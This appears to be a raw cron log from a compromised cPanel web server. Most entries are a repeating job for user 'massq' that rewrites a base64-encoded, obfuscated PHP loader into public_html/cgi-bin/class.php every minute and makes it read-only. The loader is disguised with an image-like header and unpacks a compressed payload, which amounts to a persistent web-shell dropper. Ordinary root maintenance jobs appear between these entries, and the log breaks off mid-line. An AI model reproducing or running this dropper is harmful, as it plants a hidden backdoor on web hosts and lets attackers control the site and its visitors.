Apr 12 07:09:01 server CROND[3687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:10:01 server CROND[3737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:10:01 server CROND[3738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:10:01 server CROND[3739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:10:01 server CROND[3740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:11:01 server CROND[3837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:12:01 server CROND[3984]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 07:12:01 server CROND[3985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:13:01 server CROND[4032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:14:01 server CROND[4122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:15:01 server CROND[4176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:15:01 server CROND[4177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:15:01 server CROND[4178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:16:01 server CROND[4279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:17:01 server CROND[4335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:18:01 server CROND[4485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:19:01 server CROND[4530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:20:01 server CROND[4582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:20:01 server CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:20:01 server CROND[4584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:20:01 server CROND[4585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:20:01 server CROND[4586]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 07:21:01 server CROND[4698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:22:01 server CROND[4751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uor